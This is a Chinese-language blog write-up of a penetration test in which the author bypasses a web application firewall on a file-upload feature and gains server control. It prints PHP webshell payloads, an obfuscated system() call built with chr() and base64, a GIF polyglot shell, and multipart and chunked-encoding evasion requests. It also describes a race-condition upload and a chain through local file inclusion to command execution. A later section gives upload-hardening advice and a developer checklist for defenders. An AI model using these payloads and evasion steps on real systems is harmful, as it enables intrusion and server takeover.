WAF绕过实战:文件上传漏洞的多维度攻击与防御策略
2026/7/5 8:44:52 网站建设 项目流程

1. 项目概述:一次与WAF的“正面交锋”

在Web安全测试的日常工作中,文件上传功能点一直是兵家必争之地。它直接、高效,一旦成功,往往意味着能直接获取服务器权限,也就是我们常说的“getshell”。但如今,稍微有点规模的网站都会部署Web应用防火墙,也就是WAF,它就像一道智能安检门,专门拦截像我们这样“图谋不轨”的请求。这次分享的,就是一次我如何绕过这道看似严密的防线,最终实现目标的完整过程。整个过程不仅仅是技术点的堆砌,更像是一场与WAF规则库的“心理博弈”和“特征对抗”。对于渗透测试人员和安全开发来说,理解这些绕过思路,无论是为了攻击还是防御,都至关重要。

2. 核心思路拆解:WAF的“视觉盲区”与“逻辑陷阱”

要绕过WAF,首先得理解它通常是怎么工作的。WAF不是神,它本质上是一套基于规则(正则表达式、语义分析)和行为的过滤引擎。它的检测逻辑可以概括为几个层面:协议合规性校验请求内容特征匹配(关键字、危险函数、特殊字符)、文件内容检测(文件头、幻数)以及上下文行为分析。我们的目标,就是找到这些检测规则之间的缝隙,或者说,制造一些让WAF“看不懂”或“看漏了”的请求。

2.1 常见WAF检测维度分析

  1. 文件名检测:这是最基础的一层。WAF会检查filename参数中是否包含明显的可执行扩展名,如.php,.jsp,.asp,或者是否尝试使用双扩展名.php.jpg。一些高级规则还会检测是否存在路径穿越字符../
  2. Content-Type检测:检查HTTP头中的Content-Type字段。如果你上传一个PHP文件,但Content-Type却声明为image/jpeg,低级别的WAF可能会因此放行。
  3. 请求体内容检测:这是最核心、也最复杂的一层。WAF会深度扫描multipart/form-data格式的请求体,寻找<?php,eval(,system(等危险字符串或函数特征。它可能不是简单地匹配字符串,而是进行一定程度的解码(如URL解码)后匹配。
  4. 文件内容检测:除了脚本特征,WAF还会验证文件头。例如,一个声称是JPEG的文件,其文件头(Magic Bytes)必须是FF D8 FF E0。这用于防止攻击者篡改文件扩展名。
  5. 流量行为与频率:基于IP或会话的异常上传频率、上传后立即访问等行为,也可能触发WAF的二次验证或拦截,比如弹出JS挑战页。

我的核心思路是多维度组合利用规则混淆。单一的点往往很容易被覆盖,但将多种技巧在同一个请求中组合使用,能极大地提高绕过成功率。关键在于,要让我们的恶意payload,在WAF的解析结果和最终服务器端(如PHP引擎)的解析结果之间,产生“分歧”。

3. 实战绕过技巧全解析

下面,我将结合那次实战的具体步骤,拆解几个关键且有效的绕过技巧。请注意,这些技巧的生效与否高度依赖于目标WAF的具体规则版本和严格程度,需要灵活组合和测试。

3.1 第一层绕过:协议与格式的“障眼法”

这一层的目标是扰乱WAF对请求结构的正常解析。

技巧一:构造畸形的 multipart/form-data 边界

在文件上传的POST请求中,Content-Type头部会定义一个boundary字符串,用于分隔表单的不同部分。WAF需要正确解析这个边界才能提取出文件名和文件内容进行检测。我们可以在这里做文章。

  • 原理:如果WAF的解析器对边界字符串的处理不够健壮,我们构造一个非标准或极其复杂的边界,可能导致WAF解析失败,从而跳过对后续内容的深度检测,而服务器端的解析器(如PHP的$_FILES处理模块)却能正常处理。
  • 实操
    POST /upload.php HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundary`[这里插入大量特殊字符或换行]`xyz Content-Length: ... ------WebKitFormBoundary`[这里插入大量特殊字符或换行]`xyz Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: application/octet-stream <?php @eval($_POST['cmd']);?> ------WebKitFormBoundary`[这里插入大量特殊字符或换行]`xyz--

    注意:插入的特殊字符可以是大量的空格、制表符、换行,甚至是NULL字节(%00,需注意编码)。但要注意服务器端是否能容忍这些字符。

技巧二:分块传输编码

这是HTTP协议的一个特性,允许将请求体分成多个“块”进行传输。有些WAF可能不支持或不完全支持对分块编码请求体的实时解码和检测。

  • 原理:我们将包含恶意代码的请求体进行分块编码。WAF如果只检测完整的请求体,可能会因为无法重组而检测失败。但Web服务器(如Nginx/Apache)会先解码分块数据,再将完整的请求体交给后端PHP处理。
  • 实操:使用Burp Suite的“Chunked-Encoding Converter”插件可以方便地实现。你需要将请求的Transfer-Encoding头部改为chunked,并移除Content-Length头,然后对请求体进行分块。

3.2 第二层绕过:内容与特征的“变形术”

当请求结构无法绕过时,我们需要对payload本身进行混淆,使其逃逸基于特征的匹配。

技巧三:等价替换与冷门函数

WAF的规则库通常覆盖了最常用的危险函数,如eval,system,shell_exec。但PHP提供了大量功能相似的其他函数。

  • 原理:使用一些较少被列入黑名单的“冷门”函数来执行命令或代码。
  • 实操
    • 执行命令:不用system($_GET[‘c’]),可以尝试:
      • `$_GET[‘c’]`(反引号操作符,等同于shell_exec
      • pcntl_exec(“/bin/sh”, [“-c”, $_GET[‘c’]])
      • popen($_GET[‘c’], “r”)
    • 执行PHP代码:不用eval($_POST[‘a’]),可以尝试:
      • assert($_POST[‘a’])(注意assert在PHP 7.2+中默认已废弃,但在某些环境仍可用)
      • create_function(‘’, $_POST[‘a’])()(已废弃,但老系统可能存在)
      • $f = ‘str_rot13’; $f(‘riny($_CBFG[‘n’]);’);(这是一种简单的编码,需要配合其他技巧)

技巧四:字符串拼接与编码

这是最经典也最有效的混淆方法之一。

  • 原理:将关键特征字符串拆散,在运行时再组合起来,从而绕过静态字符串匹配。
  • 实操
    // 原始恶意代码:<?php system(‘id’);?> // 混淆后: <?php $a = ‘s’.’y’.’s’.’t’.’e’.’m’; $b = base64_decode(‘aWQ=’); // ‘id’的base64编码 $a($b); ?>
    更进一步,可以利用.连接符、chr()函数、hex2binbase64_decode等多种方式动态生成字符串。甚至可以将关键payload放在HTTP请求头(如User-Agent)或Cookie中,然后通过getallheaders()$_COOKIE获取并拼接执行。

技巧五:利用PHP的灵活语法与标签

PHP有多种标签和书写格式,WAF的规则可能无法全部覆盖。

  • 原理
    • 短标签<?= ?>是短输出标签,但<? ?>作为短标签需要short_open_tag=On。可以尝试<? echo ‘test’;?>
    • ASP风格标签<% %>,需要asp_tags=On,极少见,但若开启则可能绕过。
    • Script标签<script language=”php”>echo ‘test’;</script>,这种写法也可能被忽略。
    • 无尖括号:通过.htaccessphp.ini设置,可以让特定扩展名的文件被当作PHP解析。此时文件内容可以完全没有<?php ?>标签,直接写<?php echo 1;?>的“裸”代码。但上传这样的文件需要配合解析漏洞。
  • 实操:在测试时,可以尝试上传内容为<?= ‘<?php’ ?>的文件,观察WAF的拦截情况,判断其对哪种语法更敏感。

3.3 第三层绕过:上下文与逻辑的“欺骗术”

技巧六:文件头欺骗与二次渲染

这是针对检测文件内容类型的WAF和后续安全处理的有效方法。

  • 原理:许多应用或WAF会检查文件的前几个字节(幻数)来判断文件类型。我们可以在一个正常的图片文件(如GIF)末尾追加PHP代码。如果服务器只是简单检查文件头,就会认为这是一个图片。更高级的情况是,服务器会对上传的图片进行“二次渲染”(如图片压缩、尺寸调整),这会破坏追加的代码。因此,我们需要将代码插入到图片中不会被渲染破坏的部分。
  • 实操
    1. 准备一个真实的GIF图片。
    2. 使用二进制编辑器(如010 Editor)或命令,在GIF文件末尾的;结束符之后,追加PHP代码:<?php $_GET[0]($_GET[1]);?>。这样上传后,文件扩展名可以是.gif,但服务器如果错误地配置了MIME类型解析(如AddType application/x-httpd-php .gif),或者存在解析漏洞(如Apachexxx.php.jpg被解析为php),该文件就可能被当作PHP执行。
    3. 对抗二次渲染:研究目标图片处理库(如GD库、ImageMagick)对特定格式文件的处理方式。例如,对于GIF,代码可以尝试插入到多个帧之间或注释块中。这需要更深入的文件格式知识。

技巧七:竞争条件攻击

这种攻击不直接绕过WAF,而是针对WAF之后、应用自身的安全处理逻辑。

  • 原理:很多应用的上传逻辑是:先允许文件上传到临时目录,然后进行安全检查(病毒扫描、内容检测),如果安全再移动到最终可访问的目录。这中间存在一个时间窗口。
  • 实操
    1. 编写一个不断上传恶意文件的脚本。
    2. 同时,编写另一个脚本,以极快的速度去尝试访问那个临时文件路径(如果路径可预测)或最终路径。
    3. 如果在安全检查完成并删除恶意文件之前,访问请求成功到达了该文件,并且该文件位于一个可执行的目录(如Web根目录下),攻击就成功了。这需要目标服务器的处理速度较慢,且临时文件路径或命名规则存在规律。

4. 我的完整攻击链实录

现在,我来还原那次成功的“getshell”过程。目标是一个使用某云WAF的Web应用。

  1. 信息收集与试探:首先,我正常上传一个test.txt文件,成功。然后上传shell.php,立即被WAF拦截,返回“您的请求疑似攻击行为!事件ID:...”。这说明WAF在文件名和内容上都有检测。

  2. 初步绕过

    • 我尝试将文件名改为shell.php.jpg,并使用Burp Suite的Intruder模块,在filename参数中的php后面插入大量的空格(shell.php .jpg),失败。
    • 尝试修改Content-Typeimage/jpeg,失败。说明WAF进行了多维度关联分析。
  3. 组合拳突破

    • 我决定从请求体混淆入手。我使用了分块传输编码。将上传shell.php的请求转换为分块编码格式。这一步,WAF没有拦截,请求成功到达服务器,但返回了“文件类型不允许”。这说明WAF的请求体检测被绕过,但应用自身有白名单校验(只允许.jpg, .png, .gif)。
    • 既然应用有白名单,我采用文件头欺骗。我创建了一个内容为GIF89a<?php ... ?>的文件,命名为shell.gif。直接上传,被WAF拦截(内容检测到了<?php)。
    • 关键步骤:我将分块传输编码字符串编码结合。首先,将PHP代码混淆:<?php $c=’s’.chr(121).chr(115).chr(116).chr(101).chr(109); $c(‘whoami’);?>。然后,将这个混淆后的代码附加到一个真实GIF图片的末尾。最后,将整个上传shell.gif的请求进行分块编码。
    • 发送请求。这次,WAF沉默,应用返回“上传成功”!文件路径为/uploads/202407/shell.gif
  4. 触发与getshell

    • 直接访问这个.gif文件,浏览器显示了一张破损的图片(因为后面有PHP代码),代码并未执行。这说明服务器没有错误地将.gif当作PHP解析。
    • 我检查了应用的其他功能点,发现存在本地文件包含漏洞。有一个页面可以通过参数?file=../uploads/202407/shell.gif来包含上传的文件。
    • 由于文件被包含时,其中的PHP代码会被服务器解析执行,我通过访问这个包含漏洞的链接,成功执行了whoami命令,获得了Web服务的执行权限,实现了初步的getshell。
    • 随后,我通过该权限,上传了一个更完整的Webshell,进一步提权,最终拿到了服务器控制权。

5. 防御视角与排查建议

作为防守方,如何构建更坚固的防线?仅仅依赖WAF是远远不够的。

5.1 多层次防御策略

  1. 前端校验:虽可被绕过,但能阻挡大部分普通用户的误操作和低水平自动化攻击。
  2. 服务端白名单:这是最重要的一环。严格根据业务需要,只允许特定的扩展名(如.jpg,.png,.pdf),并且使用pathinfo或正则准确匹配扩展名,而不是简单的字符串包含判断。避免使用黑名单。
  3. 文件内容校验
    • MIME类型检查:检查$_FILES[‘file’][‘type’],但同样不可信,需结合其他方法。
    • 文件头校验:读取文件前几个字节,验证其是否与宣称的类型匹配。
    • 二次渲染:对图片文件,使用GD库或ImageMagick进行重采样、缩放或转换格式,这能彻底破坏嵌入的恶意代码。
    • 内容安全扫描:对上传的文件(尤其是文档、压缩包)进行病毒或恶意代码扫描。
  4. 存储安全
    • 重命名:使用随机字符串(如UUID)重命名上传的文件,避免被猜测路径。
    • 隔离存储:将上传的文件存储在Web根目录之外,通过后端脚本(如readfile())来读取和交付,这样即使文件包含恶意代码,也无法直接通过URL访问执行。
    • 设置不可执行权限:在Linux系统上,确保上传目录的权限为755,文件权限为644,移除执行权限。
  5. WAF与日志审计
    • 合理配置WAF规则,但要知道它可能被绕过。
    • 详细记录所有上传操作的日志,包括原始文件名、存储路径、IP、时间、用户代理等。监控异常上传行为(如频率过高、文件大小异常、扩展名异常)。
  6. 最小权限原则:运行Web服务的用户(如www-data,nginx)应具有尽可能低的系统权限。

5.2 开发者自查清单

  • [ ] 是否仅使用前端JS进行文件类型验证?
  • [ ] 服务端是否使用了扩展名白名单机制?
  • [ ] 白名单校验逻辑是否严谨(是否使用pathinfo($filename, PATHINFO_EXTENSION)获取扩展名并进行小写化比较)?
  • [ ] 是否对图像文件进行了二次渲染处理?
  • [ ] 上传目录是否位于Web根目录外?如果必须在根目录内,是否配置了该目录禁止解析脚本(如Nginx的location ~* ^/uploads/.*\.(php|jsp)$ { deny all; })?
  • [ ] 文件是否被随机重命名
  • [ ] 系统是否存在文件包含解析漏洞(如ApacheAddHandler误配)等其他可能被组合利用的漏洞?

那次绕过WAF的经历让我深刻体会到,安全是一个动态对抗的过程。攻击者在不断寻找规则体系的薄弱点,而防御者需要构建纵深、立体的防御体系,不能将希望完全寄托于任何单一的安全产品或功能。对于安全测试者而言,保持好奇心、耐心和对细节的把握,将多种看似简单的技巧在合适的时机组合运用,往往能打开一扇意想不到的“门”。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询